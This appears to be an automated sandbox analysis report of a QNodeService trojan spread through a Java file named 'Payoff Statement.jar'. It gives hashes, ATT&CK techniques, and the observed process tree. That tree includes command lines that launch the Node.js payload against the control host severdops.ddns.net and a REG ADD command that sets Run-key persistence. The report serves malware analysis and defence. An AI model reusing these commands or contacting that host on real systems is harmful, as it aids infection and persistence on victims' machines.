qnodeservice | ca387dd7da00ab25ce6ba103baca69def6babbc0dc8ccfa2fbc901a37a7de364

General

Target

Payoff Statement.jar
Size

107KB
MD5

71747772db1e1a0d72cc715270b1d81f
SHA1

10e88b56fd0c2b37ff3c570bd15e5b1f4ca35546
SHA256

ca387dd7da00ab25ce6ba103baca69def6babbc0dc8ccfa2fbc901a37a7de364
SHA512

10b37a12cbd0a0efa370cdb9b051b68a042471bde62b2af1221ef759249c352ed6afee522a24ead2b1cfcb48f74bb36a43c4ac0a2022da27214577ac1e9b7e01

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3508	node.exe
3612	node.exe
3532	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\329d06e0-5011-4c3e-94a5-ca3241ca99a9 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ada5-164.dat	js
behavioral2/files/0x000100000001ada5-169.dat	js
behavioral2/files/0x000100000001ada5-173.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3508	node.exe
3508	node.exe
3508	node.exe
3508	node.exe
3612	node.exe
3612	node.exe
3612	node.exe
3612	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe
3532	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 980 wrote to memory of 2252	980	java.exe	76
PID 980 wrote to memory of 2252	980	java.exe	76
PID 2252 wrote to memory of 3508	2252	javaw.exe	78
PID 2252 wrote to memory of 3508	2252	javaw.exe	78
PID 3508 wrote to memory of 3612	3508	node.exe	80
PID 3508 wrote to memory of 3612	3508	node.exe	80
PID 3612 wrote to memory of 3532	3612	node.exe	81
PID 3612 wrote to memory of 3532	3612	node.exe	81
PID 3532 wrote to memory of 3920	3532	node.exe	83
PID 3532 wrote to memory of 3920	3532	node.exe	83
PID 3920 wrote to memory of 3972	3920	cmd.exe	84
PID 3920 wrote to memory of 3972	3920	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Payoff Statement.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:980
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b617a428.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_ygdoui\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3612
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_ygdoui\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3532
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "329d06e0-5011-4c3e-94a5-ca3241ca99a9" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3920
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "329d06e0-5011-4c3e-94a5-ca3241ca99a9" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3508-167-0x000002084B8C0000-0x000002084B8C1000-memory.dmp

Filesize
4KB

Download
memory/3532-174-0x000003D22E680000-0x000003D22E681000-memory.dmp

Filesize
4KB

Download
memory/3612-170-0x00000236F8800000-0x00000236F8801000-memory.dmp

Filesize
4KB

Download

Analysis

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